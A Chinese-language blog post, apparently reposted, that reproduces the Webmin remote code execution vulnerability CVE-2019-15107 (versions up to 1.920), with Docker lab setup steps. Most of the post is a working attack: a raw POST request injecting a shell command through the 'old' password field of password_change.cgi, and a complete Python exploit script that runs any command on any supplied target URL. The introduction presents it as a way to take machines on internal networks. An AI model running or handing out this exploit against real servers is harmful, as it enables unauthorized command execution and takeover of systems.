Webmin代码执行漏洞复现

0x00 前言
之前由于hw，没得时间分析。这个webmin相信大家很多次都在内网扫到过。也是内网拿机器得分的一环。

0x01影响版本
Webmin<=1.920

0x02 环境搭建

建议大家以后用docker部署漏洞环境
docker search webmin
docker pull piersonjarvis/webmin-samba
docker run -d -p 10000:80 piersonjarvis/webmin-samba

 

访问127.0.0.1:10000

使用账号密码：root/webmin登录到后台
开启密码重置功能：
Webmin--Webmin confuration—Authentication

然后点击重启webmin。

0x03 漏洞利用
构造如下POST包请求：

POST /password_change.cgi HTTP/1.1
Host: 127.0.0.1:10000
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: http://127.0.0.1:10000/password_change.cgi/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
cache-control: no-cache

user=rootxx&pam=&expired=2&old=id&new1=test2&new2=test2

 

执行命令结果如下：

 

python利用脚本如下：

#coding:utf-8
import requests
import re
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# 禁用安全请求警告
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


def exploit(url, shell):
    urls = url + "/password_change.cgi"
    headers = {
    'Accept-Encoding': "gzip, deflate",
    'Accept': "*/*",
    'Accept-Language': "en",
    'User-Agent': "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",
    'Connection': "close",
    'Cookie': "redirect=1; testing=1; sid=x; sessiontest=1",
    'Referer': "{}/session_login.cgi".format(urls),
    'Content-Type': "application/x-www-form-urlencoded",
    'Content-Length': "60",
    'cache-control': "no-cache"
    }
    # proxies = {
    #     "http": "http://127.0.0.1:8080"
    # }
    # don't need |
    payload="user=rootxx&pam=&expired=2&old={}&new1=test2&new2=test2".format(shell)
    r = requests.post(url=urls, headers=headers, data=payload, verify=False)
    #print(r.text)
    if r.status_code ==200 and "The current password is " in r.text :
        rs = re.compile(r"
Failed to change password : The current password is incorrect(.*)",flags=re.DOTALL)
        result = rs.findall(r.text)
        #print(result)
        print ("Execute result:" + result[0])
    else:
        print ("No CVE-2019-15107!")


if __name__ == "__main__":
    url = sys.argv[1]
    shell = sys.argv[2]
    exploit(url, shell)

 

转载于:https://www.cnblogs.com/whoami101/p/11465877.html